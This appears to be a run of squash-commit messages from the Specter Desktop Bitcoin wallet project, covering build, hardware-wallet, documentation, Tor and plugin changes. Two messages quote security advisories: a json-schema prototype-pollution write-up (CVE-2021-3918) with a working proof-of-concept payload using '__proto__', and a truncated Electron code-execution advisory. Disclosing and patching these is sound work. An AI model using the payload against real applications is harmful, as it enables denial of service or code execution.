* chore: migrate from altool to notarytool
* fix litte things in build-common
* add pyenv install in build-osx
* add pyinstaller/electron/signing_logs to gitignore
* chore: migrate from altool to notarytool
* fix little things in build.common
* add pyenv install in build osx
* add pyinatsller electron signing logs to gitignore
* updated build-osx.sh
* fix entitlement
* heavily refactoring the electron app
* polish and improve
* further bugfixing and polishing
* tiny change to improve support of MacOS
* Fix dependency issues
---------
Co-authored-by: Manolis <moneymanolis@protonmail.com>
* update jade api to version 2.0.2 and update jade hwi client to the latest hwi code (version
* change chain default for initialising the jade client back to MAIN
* add "unlock" to jade's enumerate method and its hwi client
* use is_startup property to prevent jade unlocking on startup + change to skip_hwi_initialisation + some simplifications
* pass chain param on every request for enumerate call as well + some changes to be on the safe side (avoid name collusion with built-in fetch + random id)
* always use timeout when calling enumerate from hwi.jinja
* add ui to register multisigs for multisig wallets using a jade
* updated requirements.txt
* rename myFetch to requestToHwiBridge
* address jamie's comments: change logic to skip_unlocking + move early return up in jade client
* Added install guide 1884
https://github.com/cryptoadvance/specter-desktop/issues/1884
* chore: remove empty file
* adding to the menu anr referencing in readme
* changing heading levels to enable submenu
* adding symlink
* Reposition 'OS-Specific Apps' section and update Electrum integration info
- Moved 'OS-Specific Apps for Specter Desktop' section to immediately follow 'Installation Methods' for better logical flow and prominence.
- Added information about Electrum connection availability since version 2.0.0 in the 'Future Developments of Specter Desktop' section for up-to-date and accurate documentation.
-Changed Title to "Installation Method Decision Guide" instead of "Installation Guide"
* Create WalletCreationGuide.md
* Create DeviceCreationGuide.md
* Update docs/DeviceCreationGuide.md
commit suggestion from k9ert
Co-authored-by: k9ert <k9ert@gmx.de>
* Update mkdocs.yml
Linked new WalletCreationGuide and DeviceCreationGuide in the Menue
* Update WalletCreationGuide.md
Added Link to install guide
* Update WalletCreationGuide.md
Added Link to Node connection guide
* Update WalletCreationGuide.md
Creating wallet: Reference to import device first
Backup wallet: Improved explenation about steel backup
* Update DeviceCreationGuide.md
Added real world examples for wallets and derivation paths.
Linked readme with pictured Step by Step guide.
Added Some basic Common Issues, maybe link faq?
* Update WalletCreationGuide.md
Added examples for Single/Multisig wallets
* Update DeviceCreationGuide.md
small fix in hierarchy
* Update mkdocs.yml
swapped device and wallet creation guide.
* Update DeviceCreationGuide.md
Fixed various comments
* Update WalletCreationGuide.md
var. fixes
* Added feedback from 02/15
* Added feedback from 02/15
fix double space and no new line.
* - removed the word cryptocurrency and placed Bitcoin instead.
- Pointed out that hardware wallets with shitcoin support are less secure.
* - fixed links to other docs
- adjusted link integration
- removed picture reference in the wallets overview
---------
Co-authored-by: Kim Neunert <kim@swanbitcoin.com>
Co-authored-by: k9ert <k9ert@gmx.de>
A constructed payload sent to validate will lead to prototype pollution. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `__proto__`, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
```js
function checkObj(instance,objTypeDef,path,additionalProp){
if(typeof objTypeDef =='object'){
if(typeof instance != 'object' || instance instanceof Array){
errors.push({property:path,message:"an object is required"});
}
for(var i in objTypeDef){
if(Object.prototype.hasOwnProperty.call(objTypeDef, i) && i != '__proto__' && i != 'constructor'){
var value = Object.prototype.hasOwnProperty.call(instance, i) ? instance[i] : undefined;
// skip _not_ specified properties
if (value === undefined && options.existingOnly) continue;
var propDef = objTypeDef[i];
// set default
if(value === undefined && propDef["default"]){
value = instance[i] = propDef["default"];
}
if(options.coerce && i in instance){
value = instance[i] = options.coerce(value, propDef);
}
checkProp(value,propDef,path,i);
}
}
}
for(i in instance){
if(Object.prototype.hasOwnProperty.call(instance, i) && !(i.charAt(0) == '_' && i.charAt(1) == '_') && objTypeDef && !objTypeDef[i] && additionalProp===false){
if (options.filter) {
delete instance[i];
continue;
} else {
errors.push({property:path,message:"The property " + i +
" is not defined in the schema and the schema does not allow additional properties"});
}
}
var requires = objTypeDef && objTypeDef[i] && objTypeDef[i].requires;
if(requires && !(requires in instance)){
errors.push({property:path,message:"the presence of the property " + i + " requires that " + requires + " also be present"});
}
value = instance[i];
if(additionalProp && (!(objTypeDef && typeof objTypeDef == 'object') || !(i in objTypeDef))){
if(options.coerce){
value = instance[i] = options.coerce(value, additionalProp);
}
checkProp(value,additionalProp,path,i);
}
if(!_changing && value && value.$schema){
errors = errors.concat(checkProp(value,value.$schema,path,i));
}
}
return errors;
}
```
## Proof of Concept
```js
// PoC.js
const { validate } = require("json-schema");
const instance = JSON.parse(`
{
"$schema":{
"type": "object",
"properties":{
"__proto__": {
"type": "object",
"properties":{
"polluted": {
"type": "string",
"default": "polluted"
}
}
}
},
"__proto__": {}
}
}`);
const a = {};
console.log(a.polluted);
validate(instance);
console.log(a.polluted);
```
**Impact**
This vulnerability is capable of make prototype pollution
CWE-915
CWE-1321
CVE-2021-3918
**`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`**
Co-authored-by: k9ert <k9ert@gmx.de>
* Update spotbit api url and path
* Update src/cryptoadvance/specter/util/price_providers.py
Co-authored-by: Benjamin B <7598058+BBlackwo@users.noreply.github.com>
* removed non-existent price-provider and added gemini
* fixed history API
---------
Co-authored-by: k9ert <k9ert@gmx.de>
Co-authored-by: Kim Neunert <kim@swanbitcoin.com>
This project used electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS. Affected of this project are vulnerable to Arbitrary Code Execution allowing out-of-package code execution when apps are launched as command-line executables.
```diff
diff --git a/lib/internal/modules/run_main.js b/lib/internal/modules/run_main.js
- index 5a50d5d6afab6e6648f72a1c0efa1df4cd80bcd9..0be45309028b00a6957ee473322a9452a7fa7d67 100644
--- a/lib/internal/modules/run_main.js
+ +++ b/lib/internal/modules/run_main.js
@@ -13,6 +13,12 @@ const {
```
CWE-94
`CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:L`
CVE-2023-39956
Co-authored-by: k9ert <k9ert@gmx.de>
* Use imported descriptor for wallet creation and delete old_format
* test for new descriptor util function
* copy changes backup pdf
* add uses_multi property and adapt wallet pdf with it
* copy change new wallet screen
* fix util descriptor tests
* make convert_receive_descriptor_to_combined_descriptor work with single sig descriptors
* Update src/cryptoadvance/specter/templates/wallet/new_wallet/new_wallet.jinja
* simplify convert_receive_descriptor_to_combined_descriptor
* fix typos
* use prettier to reformat
* poc commit
* adding ids for button clicks
* implementing automatic wallet import
* add import if the app / specterd is already running
* change copy to wallet importer
* redirect to about page if there is no node connection
This PR fixes#2312 which are four things:
* getaddressinfo was not implemented in spectrum which results in "method not found"
* There was an unrelated KeyError which occured in Transactions where one the output was a change-address. It's a bit unknown why that hasn't occured earlier. At least it was diffcult to spot as the fetch_transactions call was way to huge and very confusing. So ...
* the fetch_transactions call was refactored in its own class, TxFetcher. As we did that, we also moved two other related files in a newly created wallet-package.
* Tiny bug around tx["amount"] which only exists as tx["flow_amount"] for transactions.
* fix/improve styling of swan icon in address detail view and overview
* style and change specter remote copy
* first round of commits to style plugin and fix bugs
* reduce SWAN_ALLOWED_SPECTER_HOSTNAMES to only localhost
* style associate address with service
* style dev helper
* explain hide switcher function in tx table documentation
* better feedback in settings if no auto-withdrawal plan was saved yet
* add info about swan email if not wallet withdrawal plan yet
* set swan plugin devstatus to prod again
* handle api error when removing swan integration
* fix: tor control port input was not saved
* fix built-in tor issues and improve ux
* change copy in tor settings
* display btc price without decimals + simplify the filter
* fix wrong default value in config manager
* remove lots of wallet_manager logging
* make tiny perf-logging a bit more usefull
* bump spectrum
* limit logging in Spectrum
* deactivating swan plugin
* set devstatus to beta
* checker frequency and enabling env-var SPECTER_LOGFORMAT even in dev
* extension-framework refactorings and improvements
* fix tests
* extension discovery bugfixes
* better logging and discovery control
* fix test
* more reasonable speech
* remove that unwanted code
* remove lots of wallet_manager logging
* make tiny perf-logging a bit more usefull
* bump spectrum
* limit logging in Spectrum
* deactivating swan plugin
* set devstatus to beta
* backButton fix
* open docs link on about page in extra window
* add connecting indicator when clicking on "connect"
* stop camera when closing import wallet overlay
* using tor for the spectrum connection
* bumped spectrum to 0.6.0 for tor support
* bump spectrum for smaller fixes
* change copy in Tor settings
---------
Co-authored-by: moneymanolis <moneymanolis@protonmail.com>
* having a very limites spectrum wallet-backend-admin tool
* remove renumbering of wallets
* enriched alias function
* add wallets_aliases property to wallet manager
* use alias when checking names at wallets endpoint
* get rid of scary "ERROR" in base.jinja
* change title for input field for creating a new wallet
* strip leading and trailing whitespaces in alias()
* pytest added
* fix pytests
* Moving Wallet Link to settings
* a bit of styling
---------
Co-authored-by: moneymanolis <moneymanolis@protonmail.com>
Co-authored-by: Manolis Mandrapilias <70536101+moneymanolis@users.noreply.github.com>
